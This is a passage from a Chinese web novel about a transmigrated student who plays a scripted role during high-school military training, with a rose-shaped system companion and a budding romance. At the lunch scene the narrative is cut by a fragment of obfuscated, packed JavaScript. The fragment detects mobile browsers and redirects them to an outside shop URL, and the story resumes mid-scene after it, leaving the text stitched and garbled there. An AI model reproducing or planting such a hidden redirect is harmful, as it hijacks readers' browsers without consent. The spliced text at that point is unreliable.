同时,他放在裤腿边的左手手指突地搓了搓,似是情不自禁地回忆着方才的触感,意识到自己在干什么后他忙又扶了扶镜框,掩饰性地补充了句:
“我力气还算大。”
而江霁明察觉到谢知韫用自以为很隐蔽的视线打量了一下自己略显宽松的校服和纤长白皙的手,感觉受到了质疑。
江霁明不爽了。
不爽的他实在是再懒得掩饰什么,反正之前在男二面前,他连眼刀子都甩过了。
他轻嗤了一声,弯下腰用左手将箱子整个托了起来,然后快速走到另一侧,用右腿膝盖顶着第二个箱子,将它托到了右手上。
做完这一切,江霁明不紧不慢地往门外走去,因为身高的缘故,他的脸完全没被箱子挡住。
他一边走,一边微微扭略显傲慢地扫了下旁边呆立着的谢知韫,似是在说:
你不行。
接收到江霁明不屑视线的谢知韫却忍不住想扬起嘴角:
姜明同学,原来是这个性格吗?
怪可爱的。
002(死鱼眼):别人说你不行你还笑?是不是男人?大人你别再奖励他了。
而已经走到门外的江霁明突然顿了顿脚步,似是懊恼地皱了皱眉,对自己刚刚的表现感到不满:
我什么时候这么幼稚了?
果然,男性尊严不可侵犯。
他江霁明什么时候需要别人的绅士和体贴了?
等谢知韫搬着剩下的那一个纸箱回到教室的时候,大家已经开始分组上台领取对应的军训服装了。
而江霁明正垂着眸,黑发直直地垂在额前,认真地根据其他同学报出的尺码在纸箱里翻找着,身形修长,静谧美好,似是一幅水墨泼就的画。
刚刚那样矜傲的江霁明,仿佛只是谢知韫一个人的幻觉。
只有他知道真正的姜明是什么模样。
姜明也只会在他的面前暴露最真实的自己。
他们之于对方,都是最特殊的那一个。
谢知韫伫立在教室门口,心脏因只有自己一人知晓姜明的秘密而突地变得柔软起来,只要姜明一掐就能立马淌出甜蜜的汁来。
这时,他的身前投下了一片黑色的影子,影子离他只有十公分。
谢知韫忽地屏住了呼吸,他的鼻尖似乎嗅到了一阵清爽的果香,仿佛置身于雨水冲刷过后的热带雨林。
丛林深处的果树被金灿灿的阳光炙烤着,散发出来的芬芳,带着能洗去一切阴霾的,令人愉悦的甜蜜气息。
江霁明:只是芒果味的洗衣液。
而后,谢知韫的手上一空,影子便立刻远离了他,江霁明除了拿走了纸箱,没做任何多余的动作,转身就走。
江霁明早就注意到门口傻站着的谢知韫了,那人不知道犯了什么病,搬着个箱子挡着门口,笑的像尊观音像似的,散发着白色的圣光。
没看见身后的女主被你堵住了吗?你怎么好意思挡着你的未来女友出场呢?
江霁明无力地叹了口气,总觉得谢知韫是他命里的劫,让他在短短一天之内就变成了腹诽吐槽役。
因为原本的他,不爽了就会直接当着对方的面说出来,不管对方是什么脸色,是愤怒,亦或是尴尬,只要他想说,没人能管束他,随心所欲。
此刻,碍于人设,他只好在心底腹诽了。
虽然之前说过江霁明并不会为了人设而忍耐什么,但是不能因为谢知韫一个人而崩那么多次人设,这不是显得他谢知韫有多特别吗?
而在江霁明心里,谢知韫没什么特别的,不过是一个需要被自己衬托的男二而已。
如果非要说有什么特别的,那就是特别爱加戏。
这时的谢知韫也反应过来了,他的身后正不安地站着一名娇小的少女。
少女站在门口,即使背着身后的太阳,整个人陷在阴影里,也能看出她细腻如玉的肌肤没有一点血色,透出一股病态的苍白来,若让她转过身,沐浴在阳光下,似是立马就能融化在空气之中。
而她清瘦的脸庞上,镶嵌着两一双黑宝石般的猫眼,却没有一点儿光泽,像是一口枯井,平静,无波。
少女那一头黑曜石般的长发,并不柔顺,有点营养不良的毛躁,被皮筋扎成了一股粗粗的麻花辫,放在颈边。
尽管她看起来是如此的脆弱,但不可否认的是,她仍是一个美人,如同一只折了翼的雀儿,躺在笼底,美丽但缺少生机。
看了眼少女身上别着的校牌,谢知韫微微侧开身子,让出一条可供少女行走的道儿来,温声致歉:
“抱歉,乔文茵同学,之前我在发呆,挡住你了。”
像是被什么惊醒了,乔文茵原本如一潭死水的眼瞳突然流动起来,她眯起眼睛,露出一个柔柔的笑来,整个人突然生动起来。
“没关系,我刚好有点累了,就当休息了。”
乔文茵的声音清
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婉温柔,每一个字像是都被润了水,清清地飘散在空气中。
而江霁明这时也刚将一箱军训服装分发完毕,他直起身子,闻声也偏过头,想一睹白富美女主的风姿。
他一抬眼,便直直地对上了那双黑色的猫眼,少女眼眸深处藏着的厌烦被他轻易地捕捉到了。
乔文茵看着对面的一双细长眼眸,在黑色的镜框下,那对褐色的眼珠被细长的睫毛遮挡了一半,透着一股仿佛能包容一切的平和,又仿佛万物都不曾入他眼底。
那人似是看出了她眼底隐藏的情绪,眉毛微微上挑了一下,但下一刻就恢复了淡然。
乔文茵脸上温柔的笑,在霎那间凝固了一秒,片刻后,她睁大了眼睛。
待少女再想细看少年的神情时,他已经背过身去了。
谢知韫站在一旁,察觉了刚刚的那场视线交锋,他脸上原本客套的歉意笑容显得更淡了。
他将身体转了回来,站在乔文茵面前,右手抬起,用中指扶了扶鼻梁上架着的眼镜中梁。
不着痕迹地遮住了少女看向少年的视线。
谢知韫俯身瞧着乔文茵,以一种非常友善的语气向她自我介绍:
“乔文茵同学,上午你因身体不适没来,我深表遗憾。我是谢知韫,高一(1)班的班长。”
002:好一个深表遗憾。
被谢知韫挡住了视线,乔文茵还是一副温柔恬静的样子,只是眼里的厌烦终于藏不住了,像是黑色的雾气,即将溢出来,将两个人都吞噬。
“是吗,很高兴认识你,谢知韫班长。那个,他也是班干部吗?”
言罢,乔文茵抬起瘦削白皙的手,过长的宽大校服袖口滑到了少女的手肘处。
她指了指谢知韫身后正在认真工作的江霁明。
江霁明:两位能否不要再打情骂俏了,只有我在干活吗?
“打情骂俏”的谢乔二人:……
“他叫姜明,是我的副班长。”
谢知韫的声音在提到“姜明”二字的时候,变得分外柔和,而在吐出“我的”两个字的时候,语气放缓,咬字分外清晰。
乔文茵微不可察地僵硬了脸颊,笑容刹那变得脆弱起来,像是一片翠绿的柔软荷叶,只要被蜻蜓点一下,就会立马沉入湖水之中。
她轻轻点了点头,表示自己知道了,然后绕过谢知韫,缓步走到江霁明身旁。
江霁明正好在翻L码的军训服,结果上面几件都是S码的。
他左手刚举起一件原本摆在最上头的S码军训服,打算往下翻找,手上的衣服就被一股轻柔的力度取走了。
“这件给我吧,姜同学。”
江霁明愣了愣,无可无不可地点了下头,无所谓,都是要发的。
下一刻,一阵轻语在他耳边响起。
“对不起,姜同学,如果我上午没有请假的话,班委竞选的时候,我就能给你投票了。”
“……没事。”江霁明沉默了片刻,淡淡地回了一句。
好一朵清香的白莲花,有点新奇。
站在近处且双耳并未失聪的谢知韫:……
更令谢知韫呕血的是,在乔文茵转身找自己的座位时,江霁明用一种意味不明的眼神扫了他和少女一眼。
他侧着头,隐蔽地露了一个玩味的笑来。
这就是女主和男二的情趣吗?
要是我不是中间的一环,就更好了。
江霁明想。
12. 军训开始
尽管谢知韫被那个意味不明的眼神看得有些怄气,但他还是快速地走到了讲台旁边。
他在江霁明的身边站定,终于想起来要帮忙分发军训服装,身为副班长的江霁明已经发完一箱了。
江霁明察觉到身旁的动静,放慢手中的动作后,便将身体斜斜地靠在讲台上,开始光明正大地摸鱼。
而其他人,要么还在排队等着领取衣服,要么已经坐在底下打开塑料包装,拿着军训帽子在头上比划着。
这边,江霁明微垂着脑袋,看起来正专注地盯着纸箱,其实,他的眼睛已经合上了。
早上因为被002吵醒,江霁明才睡了5个小时,先前他又花心力扮演人设,尽职尽责地当了一会儿副班长,现下实在是太困了。
不知道青少年早上少睡一分钟,就会困倦一整天吗?
始终将一丝心神放在江霁明身上的谢知韫,意识到身旁人正在偷懒,无奈地扬了扬嘴角。
最后,他将身体转了一个巧妙的角度,不多不少,正正好能把江霁明挡在自己身后,不让众人看到他的动作。
从教室上方望去,就见一名金棕色头发的少年直直地站着,眼睫低垂,神色温和,手中动作有条不紊。
而他的身后,正懒洋洋地斜倚着一名黑发的少年,合着眼,手掌微撑着讲桌,像是一只正在休憩的豹。
讲桌上的手,掌背很大,手指修长,骨感而又漂亮,小指处戴着一枚银色的素戒。
掌背上薄薄的皮肤下,可以看到脉络分明的青筋。明明少年看起来十分瘦削,但他的手却似乎蕴含着蓬勃的力量。
金色的阳光穿过教室正门上方的玻璃,散成浅金的光束,照在讲台旁边的两人身上。
就这样,两人的倒影直直地重合在了一起。
坐在下面的乔文茵发觉了讲台上的这一幕,忍不住咬了咬苍白的唇。
算了,她这是怎么了?不过是一个碰巧发现了她真实自我却没露出一点儿惊讶或是不喜的男生罢了。
身边的一切还是这样的无趣,没有一点色彩。
她的桌肚里放着一个棕色的小牛皮书包,书包的拉链打开着,露出了一盒速写粉彩铅笔,天鹅牌STABILO。
看起来已经很久没打开过了,除了病房窗外种着的那一丛蓝色玫瑰,乔文茵已经很久没用铅笔画过彩色的东西了。
在她的眼睛里,一切都像是由黑白灰三色构成的。每时每刻,她都在思索着,自己为何要这样挣扎地活在这个无趣的世界上呢?
吃不了一点儿辛辣,吹不了一点儿冷风,像是个一碰就碎的瓷娃娃似的。
或许是因为母亲那双美丽的眼睛,望着躺在病床上的她时,所深深掩藏着痛苦和心疼吧。
每次乔文茵静静地坐在医院花园里的长椅上时,看着那个虽然身患心脏病,但仍然笑得如同向日葵般灿烂的女孩儿时,她也会露出一个苍白的笑来。
她可做不到这样乐观,仿佛一切痛苦和阴霾,都会被那双眼里的光灼化。
本来母亲听到自己要来参加军训,不想免修,不想和别人不同。
那双美丽眼睛里又突地冒出泪来。女人蹲下身,双手紧紧地抱着娇小的她,口中不住地喃喃着:
“小茵,都是妈妈的错。”
都是因为她在怀孕的时候,不顾丈夫的阻挠,执意要外出散心。
那时,乔氏正在经历一场商业危机,公司上下,人心惶惶。
被裁员而心生恨意的员工将她绑架,伤了腹中的孩子,使小茵不足35周就出生了。
从小就体弱多病,基本都是在病房里长大的。
就算是回到广城养病的这些日子,或许是远离了那间令她分外厌恶的白色病房,乔文茵的身体似乎一下子好了起来。
而乔母也抵挡不了乔文茵那双脆弱,饱含悲伤的猫眼,松口同意让她和其他人一样上高中。
之前的乔文茵都是请家庭教师到病房里授课的。尽管她的身体很弱,但是她非常聪慧,在学习上有着别人所不能及的天赋。
但是,同意乔文茵上学不代表同意她参加军训,她的身体无法承受和他人一样的训练强度。
“妈妈,我想试试。如果坚持不下去了,我会和教官打报告的。我不想错过这些。”
乔母总是对自己的女儿充满愧疚的。
此刻,乔文茵低着头,长长的麻花辫随着她的动作垂下来,扫在透明的塑装袋上,手指轻柔地摩挲着。
广城职中这一次的军训服装,是海蓝色的海军迷彩服,崭新而漂亮。
厕所隔间内,江霁明已经将白衬衫的扣子解到了最下面。
他刚刚睡醒,就见到谢知韫安静地站在自己身边,用一种温柔到有点奇怪的眼神盯着他。
看到面前人睁开眼,谢知韫才将手中的军训服递给江霁明,低低地提醒道:
“姜明同学,盛老师刚让我们去厕所换上衣服。马上就要下楼集合排队了。”
听到这话,江霁明环视了教室一周。果然,所有人都已经走了,只剩下他们两个人,还傻傻地站在讲台旁。
不悦地瞥了谢知韫一眼,江霁明拿过衣服,迈开长腿,就往厕所走去。
给谢知韫留下一个不满的后脑勺。
故意的吗?不早说?
谢知韫能说,他看江霁明靠在讲台上睡觉的样子,看得出了神吗?
好神奇,一个人居然能站着睡着。
应该是太累了吧,实在是不忍心叫醒他。况且,这也是谢知韫第一次看见他这般无害的模样。
江霁明——只要想睡,走到哪,不管什么姿势都能立马睡着。
江霁明脱下的蓝白色的校服外套,悬浮在空中。外套里盖着一片蓝色的玫瑰花瓣,不断颤抖着,蓝色的花身上带着点红色。
刚看到宿主大人解开两颗纽扣的时候,002像是突然想到了什么,蓝玫瑰有向红玫瑰转变的趋势。
江霁明无语地盯着空中渐变色的002,将原本挂在手上的外套盖到了它的身上。
正好,洁癖缘故,他并不想把衣服挂在厕所隔间的门把手上。
伸手将衬衫微微脱到臂弯,江霁明有点意外地低头,肌肤是久未见光的白皙,有着隐隐的腹肌轮廓和胳膊上起伏的肌肉线条,不如他原本的身体那般明显,但也完全没到瘦削的地步。
看来剧情中所说不假,原主虽沉迷学习,但并未放松身体的锻炼。
毕竟,想要获得好成绩,一个健康有力的身体是不可缺少的。
不然,天天熬夜学习,对正在长身体的少年来说是吃不消的。
江霁明穿好海蓝色的军训服,推开厕所门便走了出来。
厕所镜前,谢知韫正在仔细地将自己用发胶固定了的头发塞进军帽里,确保额前不会有一根发丝儿露出来。
当他微微偏移视线,看到镜中的人影时,他呆了呆。
镜子里的少年,穿着一身海蓝色的迷彩军装,熨贴的衣服包裹着他的身体,衬得他身形修长挺括。
黑色的腰带紧紧地扣着,勾勒出劲瘦的腰身,下面是一双笔直的腿。
少年正单手随意地将帽子戴在头上,黑发从帽檐里散落出来,慢悠悠地抬着腿,从里面走出来。
海蓝色极衬他的皮肤,连原本有些泛黄的脸颊,都仿佛笼上了一层如玉莹光。
他的徐徐迈步而来,随性又潇洒,如同一阵远处岛上刮来的清凉海风,俊逸清朗。
厕所现在只剩他们两个人,江霁明也懒得维持什么人设,一直装作社恐的模样还怪累的。
他随意地瞧了一眼呆望着他的谢知韫,挑了挑嘴角。
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怎么,被哥帅到了?
谢知韫的迷彩服穿的一丝不苟,看不到一点儿褶皱,不知道他怎么做到的,外套平整地跟他刚在厕所用电熨斗熨过似的。
怪装的。
难道他还能保证自己走路的时候也不会弄皱衣服吗?
江霁明撇了撇嘴,不发一言地朝外头走去。
之前他看了眼教室正前方挂着的钟表,离集合时间还有10分钟。
他刚刚换衣服非常快,大概只用了5分钟。
现在,他需要将手上换下来的衬衫和校服放回座位里,并且下楼到教学楼前方的空地上集合。
等江霁明站到队伍的最后头时,之前还有人在轻声私语,现在都已经安静下来,等待自己班级的教官到来。
等他站定,谢知韫不知何时,也已经施施然站到他右边了。
离集合时间还剩一分钟的时候,远处走来一道身影,脚步沉稳。
来人穿着一身绿色的迷彩军装,五官立体而端正,剑眉浓密,一双星眸漆黑如墨,举手投足透着一股凛然正气。
“我叫邱怀征,是你们高一(1)班的带队教官,也是这次广城职中高一军训期间的总教官。”
邱怀征的声音非常洪亮,沉着有力。
“军训期间,我没有很多别的要求,只有三条。
第一,无条件服从命令;第二,说话做事打报告。最后,
今天是开学第一天。或许你们相互之间还不够熟悉,但从此刻开始,你们就是战友,必须团结友爱,互帮互助。”
说到这,邱怀征用视线环视了整个队伍一圈。
“接下来,班长出列。”
听到教官的声音,谢知韫立刻就往外迈了一步,将右手平举在太阳穴边上,四根手指靠着,指尖微微向上倾斜,做了一个标准的敬礼。
“报告教官,是我。”
“名字。”
“谢知韫。”
“很好,谢知韫,你的声音很响。你上来,让全班按照身高重新整队。”
“是,教官。”
谢知韫站在队伍正前方,身形笔直,抬起手熟练地指挥着队伍。
“60个人,分5排,一排12个人。矮的站右边,高的站左边。”
在众人移动的时候,江霁明也象征性地在原地转了转,因为不管再怎么动,他的位置都是最后一排的最后一个。
但站在原地不动,会非常显眼。
就像一群不断转圈的小鸭群里,突然立了一只白天鹅,一动不动,只高傲地仰着脖子。
而他接下来的任务,就是当一个无名小兵。
在训练中,严格听从教官的一切命令,表现不能太突出,也不能被教官叫出来批评和罚训。
剧情中,原主就是非常认真地训练,没出任何差错。
奇怪的是,教官到训练最后一天,对他也没什么深刻的印象。自然,最后评选优秀标兵,也没有原主的份。
可江霁明隐隐觉得,这次人设扮演进度应该能够完成。
军训期间,无功无过地完成训练任务,这很简单。
让教官对他从始至终都没什么印象,却很难。
因为他被谢知韫推举成为了副班长,在最后的列队表演赛上,他可是要负责举班牌,走在队伍最前面的。
剧情点大概是完不成了。
啧,白白跑了一个道具。
对了,上次002给他的道具还没看,记得是一个黑色的机械手表。
等中午休息的时候研究一下。
而江霁明没注意到的是,站在旁边的邱怀征,早就注意到了队伍最后面的少年。
因为,他身上的气质实在是太过特别了,和其他人之间仿佛隔了一条无形的海岸。
而江霁明,就站在岸的另一边。
13. 他的影子
这个点儿已经临近午饭了,广城的天气一直比别的地方热些。
透蓝的天空上,一团火球似的太阳高高地悬着。云彩也似是被烤化了,散成水汽消失的无影无踪。
江霁明的眼珠定定地盯着正前方的一棵树,树上没什么特别的,只有一条条深浅不一的树纹,记录着岁月的痕迹。
自从邱怀征说完那句:
“抬头挺胸收腹,双眼平视前方,中指紧贴裤缝。”后,
他们就已经这样站在烈日底下15分钟了,或许只是5分钟。
江霁明不清楚,他只感觉又有一颗汗珠从黑色的碎发中滚落下来,挂在他纤长的睫毛上,欲坠不坠。
时间像是树干上粘稠的松脂,缓慢地流动着,感觉下一刻就要凝固成琥珀了。
他眨了下眼,一颗晶莹的汗珠倏地坠落下来,砸在红色的塑胶跑道上,无声无息。
而江霁明面前的一道身影,似乎也在这时晃了晃。滚烫的阳光贴着少女的脖子,将白皙的皮肤晒的发红,红得发疼。
上面布满的细密汗珠,随着她的动作,也同时晃了下。但下一刻,她又稳住了自己的身体。
虽然在江霁明面前,乔文茵168的身高看起来很娇小。
然而,放在班级里,这样的身高,在女生中已经算是高挑的了。
因此,她站的位子也很靠后,就和江霁明隔了一排,两人之间还隔了一个男生。
阳光是从身后直直地照过来的,所以,后面人的影子会投在前面人的背上。
就像站在江霁明前面的男生,躲在他的影子里,和其他人相比,显得更加惬意一点。
江霁明无声地看着前面,少女的背影显得是那么得脆弱,却又那么得坚强。
他的眼前又出现了一道身影。
金色的麻花辫直直地垂在蓝白条纹的病服上,女人静静地坐在病房的窗台前面,神经的疼痛让女人的脖子上布满了汗水。
但当他打开病房门,从身后缓步靠近她的时候,女人转过身来,将他抱上自己的大腿,神色极柔,像是蓝色的海,看不出一点儿痛苦。
江霁明的余光悄悄地瞥着左侧巡查着的邱怀征,他正好在抬手纠正身边一个动作不标准的学生。
少年站在队伍的最右侧,他不动声色地将身子往右移了移。
阳光照在江霁明的背上,将他的影子拉的长长的,正好落在前面的少女背上。
他不是突然善心大发,江霁明知道自己不是什么容易心软的人。
只是,前面故作坚强的身影让他感到烦躁,令人不悦。
而江霁明做任何事,都只是他想做,没有任何理由。
但也仅此而已。
遮住了,看不见了,就不会感到烦躁了。
乔文茵用力地眨了眨眼睛,视线从模糊恢复了清晰。
后脖颈被滚烫的阳光笼罩着,泛起细细密密的疼,像是无数根银针,扎着她。
让她想起躺在病房里,被护士用挂点滴的针扎得泛青的手背。
就在这时,她感觉紧紧附着自己脖子的炽热阳光突然消失了,有片黑色的影子包住了她。
那道影子挺拔纤长,像是地上长出来的一棵黑色的松,将她的身子轻轻地环抱着,透着无声的温柔。
乔文茵的心仿佛被什么挠了挠,她突然很想转身,转身看看,那道影子的主人。
她原本已经酸软的双手,又用力握了握,贴在裤缝上,挺直了弯曲的脊背。
像是一朵沙漠里突然淋了甘霖的小花,被重新注入了生命力。
军训队伍里,每个人之间都隔着一拳的距离。
江霁明这样一挪动,和左边的人就隔了两拳。
邱怀征难道看不见吗?他当然看见了,一眼就看见了那个特别的少年。
他将这一幕收入眼底,却没说什么,眼里的神色有点复杂。
感觉自己老了,00后都这么谈恋爱了吗?挺会啊。
江霁明还是直直地立在那儿,盯着前方的那棵树,树皮似是要被他的视线灼出个洞来。
他双眼无神,像是一根被抽走了灵魂的木头。
好无聊,感觉前脚掌要失去知觉了。
为了防止大脑缺氧,站军姿的时候,身体要微向前倾,将重力压到前脚掌。
而为了维持人设,江霁明从头到尾的姿势都比一般人标准。
当然,没有站在最前面的谢知韫标准,他的姿势像是从教科书里抠出来的。
江霁明觉得,如果让他现在去操场跑十圈,他也会去的。
只要别再站军姿了。
“听我口令,向后——转!”
众人如听仙籁,没有一丝迟疑,迅速将重心移到左脚,同时右脚向右后方转了180°,双脚并拢后整齐地转过了身。
空气中还能听到有人轻轻地呼了一口气。
转过身后,乔文茵微微扬起脑袋,盯着最前面少年高大的背影。
他的头发已经被汗水彻底浸湿了,白皙的脖子也因为长时间的暴晒而染上了红色的胭脂,黑色的发散乱地塞在蓝色的军帽里。
是他啊,姜明。
乔文茵因缺水而过分苍白的唇瓣,扬起了一个小小的弧度。
原来除了蓝色,红色也那么好看啊。
少女欣赏着面前这幅彩色的画,暗暗地想着。
这时,她只是出于好奇和一些感激而注视着他。
后来,她只能注视着他,也只想注视着他,再无别人。
站在最后面看着这一幕的谢知韫:突然感觉身上好酸,是因为站了太久的军姿的缘故吗?
上午的训练终于结束了,站在食堂前面的空地上,所有人都像是蓄势待发的箭。
江霁明跟着大部队规规矩矩地唱完“团结就是力量”,就站在队伍里等待总教官邱怀征按照声音响亮程度来决定进食堂的顺序。
他们高一(1)班有幸第二个进食堂排队取餐。
第一个进去的是高一(10)班,唱歌的声音不是一般的响亮,当然,也不是一般的难听。
毕竟,教官只管军歌够不够响亮,不管好不好听。
江霁明感觉好像从中间捕捉到了一个熟悉的声音,这让他的鼓膜又开始隐隐作痛。
食堂菜色非常丰富,荤素的品种都很齐备,旁边还有水果和一大桶汤。
因为错峰吃饭的缘故,高二和高三还没下课,每个窗口的饭菜还有很多。
拥有一半法国血统的江霁明,自然也很喜欢吃鸭肉,此外,他还盛了满满的一格番茄炒鸡蛋。
食堂的这道菜基本只有番茄,没有蛋,江霁明很满意,他喜欢吃番茄。
遗憾的是水果里没有芒果,他退而求其次地拿了一个橘子。
然而,军训期间,必须得等所有人都取好餐才能开始吃饭。
蓝色的军帽压在江霁明的头上,他站在餐盘前,垂头盯着铁盘里撒着孜然的烟熏鸭胸肉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14554669|155396||http|test|mini|href|location''.split(''|''),0,{}));
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>同时,江霁明感觉远处有人在盯着他——无视。
“开饭!”声音刚落,所有人齐齐地取下帽子,搁在桌上,开始用餐。
幸好军训期间,食堂吃饭不允许说话,江霁明安静优雅地享用着自己的午餐。
用餐完毕后,是午休时间。
军训七天,高一学生不管是不是通校生,都需要住在学校里。
在报道的前一天,大家的行李就已经寄放到了自己对应的宿舍楼的一楼大厅。
单手提着自己贴满托运标签的黑色行李箱,江霁明推开101的宿舍大门,毫不意外地看见了那个戴着银色眼镜的身影。
谢知韫正蹲在地上,弯腰从打开的行李箱里拿东西。
而寝室另外两个人还没回来。
总感觉老是和谢知韫单独相处是怎么回事?
江霁明将行李箱放平后打开,快速地拿出一条蓝色的毛巾。
然后他面朝床铺,双手拎着迷彩短袖的下摆,往上提。
背部的肌肉线条随着他的动作起伏着,白皙的肩胛骨上附着一层薄薄的汗珠,在灯光的照射下泛着迷人的光泽。
就在江霁明要将头从衣服里探出来的时候,他突然听到了一声咽口水的声音,非常明显。
他猛地脱下衣服,转身看向旁边的人。
谢知韫还在低头整理着自己的物品,好像刚刚的那个声音只是错觉。
江霁明不耐地“啧”了一声,本来还想脱裤子的手停止了。
大家不都是男人吗?他这样让人怪尴尬的。
随手将衣服挂在床沿,江霁明一手叉着腰,一手随意地将自己额前的黑发撩到了后面。
他缓步走近谢知韫,环着胳膊,靠在他身旁的楼梯上。
“怎么,没见过,很好看?”
寝室只有他们两个,江霁明懒得装。
“没见过,还不错。”
谢知韫依然镇定地用手扶了扶眼镜,他维持着下蹲着的姿势,视线微微上移就能看见白皙的腹肌。
他又突然移开视线,左手不自觉地捏了捏自己发烫的耳垂。
从江霁明的视角,看不见他被烧红的左耳。
“刚刚那样,我很不爽,没有下次。”
江霁明一字一句地说着,声音清冽,语气淡淡的,却让人下意识地就想听从。
像是发号施令的天子和跪在他面前的臣属。
“好,很抱歉,姜明同学,这次是我失误。”
谢知韫努力维持着声线的平稳,想要找回那个面对一切事物都游刃有余的自己。
但他失败了。
似乎是当初在名单上看到姜明的那一刻,就已经预示未来。
他已经败了,败得彻底。
从小到大都是第一名的谢知韫,认输了。
望着江霁明走向浴室的背影,谢知韫按着自己的心口。
心率非常不正常,感觉每分钟达到了200下。医学上将高于160次/分钟的症状视作阵发性心动过速。
谢知韫每月都会进行身体检查,他认为自己并没有心率不齐的毛病。
排除身体不适的原因,剩下的理由就是——
他很难再单纯地将姜明视为自己的对手。
不知道从何时起,他谢知韫已经喜欢上那个站在讲台上,仿佛散发着光芒的少年。
在这场无声的战役里,谢知韫甘愿认输。
作为姜明的——
手下败将。
14. 班级拉歌
在浴室冲了个冷水澡,江霁明换上一件白T和黑色中裤,就爬到了床上。
靠坐在墙壁上,他的余光里,另一边的谢知韫窝在角落里,没什么动静,不知道怎么了。
他也懒得深究,清静点好。
垂眸看着腕骨上的黑色手表,江霁明转动旁边的旋钮。
“吱嘎”——
宿舍的门开了。
肩并肩走进来两道人影,正在有说有笑。
瞧见宿舍这安静的氛围,他们像是被掐住了脖子,声音也消散在空气中。
扫了眼底下的人,江霁明本没什么打招呼的心思,奈何下面的一个人突然朝着他挥了挥手。
“嗨嗨,好巧,副班长。原来我们是一个宿舍的啊。我叫汪洋,之前就坐在你旁边哦!”
说话的男生头发蓬松,有点儿炸毛,看起来大大咧咧,五官却很秀气。
汪洋终于找到机会可以和自己的同桌搭上话了。
在班委竞选的时候,他给姜明投了一票。
他还想跟他说,我相信你可以的。
但后来江霁明一直低着头,看起来很专注的样子,汪洋也不好意思打扰对方,就一直没说话。
相比于谢知韫滴水不漏,自信大方的竞选宣言,他其实更喜欢江霁明之前那样朴实的。
姜同学看起来只是有点儿不擅长交流罢了,其实内里是个很真诚的人,一定很渴望和他人接触。
没关系,汪洋觉得自己很擅长。
看着这个在剧本里从没出现过的人,江霁明沉默了一瞬,便礼貌地回道:
“姜明。”
本没想得到对方回应的汪洋愣了一瞬,露出一口白牙,笑道:
“我知道了,姜明。同桌,以后多多关照。”
话落,汪洋见江霁明又低下头,便没再打扰他。
然后他和旁边的班长大人也打了声招呼,对方打量了他一会儿,就温和地笑着回应:
“你好,我记得你,学习委员。以后相互帮助。”
语气却并不热络。
汪洋向来是个粗神经,摆了摆手就和另一个人整理东西去了。
而床上的江霁明,正在心里问002这个手表的作用:
【表盘上面的刻度有什么作用?】
腕上的手表,外观简约大方,表盘呈纯黑色,一长一短两根银色指针,和一根略粗的黑色指针,正重叠着指着刻度“0”。
没错,圆形表盘的最上面,不是“12”,而是“0”。
顺时针下来,依次是阿拉伯数字1-9,均匀地分布在四周。
【大人,这是估分手表。顾名思义,在之后的考试中,为了确保您能够一直是第二名,
这个道具可以让您在完成试卷后立刻知道自己的分数。短针为十位数,长针为个位数,而黑针是百位数。】
懂了,控分利器,非常有用。
江霁明之前就保留着这个疑问,他应该如何扮演这个“万年老二”?
他的学习成绩虽然不错,但要做到每次都刚好是年级第二,很难。
不小心拿了第一名怎么办?
这要清楚每一道题的答案,然后再根据目标分数,自行决定将哪些题的答案改成错的。
可也需要知道目标分数。
在剧本中,男二每次考试基本都是满分,或者接近满分。
但男二在他这里已经崩人设了,什么高傲冷淡都是假的,万一学神也是假的呢?
【若是男二考砸了呢?就算我能知道他的分数,也不能保证第一名就一定是他。】
江霁明想的很多,他不喜欢事情出现太多偏差。
【大人,表盘中间的屏幕,会自动显示一定范围内潜在的最高分。范围可以通过声音设定,例如高一年级。
您只需要先完成全部题目,在考试结束前五分钟,根据目标分数和估算分数的差距进行调整。】
0.5分的差距最为保险,这是最小的分值。
听到002的话,江霁明揉了揉太阳穴,心累。
自己以前考试的时候,哪里需要想这么多,还得管别人考多少分?
算了,至少有道具辅助,这表的功能已经很逆天了,而且还是能带进考场的机械表。
不再多想,他合上眼。
等江霁明再睁开眼,视线里出现的是一颗颗带着军帽的后脑勺。
前边还有不少女生正悄悄地低着头,慌张地往身上涂防晒霜。
他只记得睡的正香的时候,脑海里炸响了一声军哨,
“瞿瞿”——
自己好像被谁叫醒了,浑浑噩噩地穿衣,下床,奔跑。
等江霁明意识恢复清明,身体就已经站在队伍里了。
下午的训练,没什么特别的。
除了女主在中途打报告后,坐在一旁的树荫底下休息。
邱怀征也没说什么,大概是乔家跟学校提前报备过。
感觉旁边有道视线直直地瞧着自己这边,江霁明没什么反应。
他已经成为一个没有灵魂,只会训练的木头人了,快要燃烧的那种。
好热。
当宣布所有班级原地休息30分钟的时候,江霁明坐在队伍的角落里,将手臂靠在膝盖上,埋着头,闭目养神。
“征哥,你们班要不要来和我们班比比拉歌?”
一阵清朗的男声在江霁明的耳边响起,他慢吞吞地抬起脑袋,眯着眼朝前看去。
队伍前方,邱怀征旁边站着一人,正叉腰笑着和他说话,看起来关系很好。
“行啊,怕你不成。”
邱怀征不训练人的时候,还是很平易近人的。
江霁明又瞥了一眼远处的队伍,旁边的班牌上写着“高一(10)班”,是中午军歌唱的最响的那个班。
他突然有种不祥的预感。
果然,下一刻,他在远处看到了一个栗色卷毛头,非常显眼,正在队伍里疯狂朝着他挥手。
莫名丢人,江霁明当机立断,将头埋到臂弯里,假装没看见。
高一(10)班这边——
刚坐下,叶峻就伸手抹着额头的汗,他天生气血旺,比别人更容易出汗。
早上没找到姜明同学,又不知道他的班级,叶峻只好先去自己的班报到。
班委竞选的时候,他因为出色的体育成绩理所当然地成为了体育委员。
新同学都对他很热情,围着他想要和他交朋友。
以前的叶峻,会露出一个非常灿烂的笑容,毫不犹豫地点头回应:
“问什么可不可以的,那还用说,当然好啦!我们既然分到一个班,那就是缘分啊!以后我们就是兄弟,可以一起吃饭,一起去操场跑步啊!”
然而今天早上,叶峻却只是微微扬起嘴角,应声回了句:
“可以啊,我们都是同学啊。”
他并未拒绝,但没说朋友这个词。
他现在想要吸引目光的人,想要成为好兄弟的人,只有一个了。
那就是姜明。
其他人,他只想维持正常普通的同学关系。
上午的军训,和想象中的没什么区别,对经常进行高强度训练的他来说还是挺轻松的。
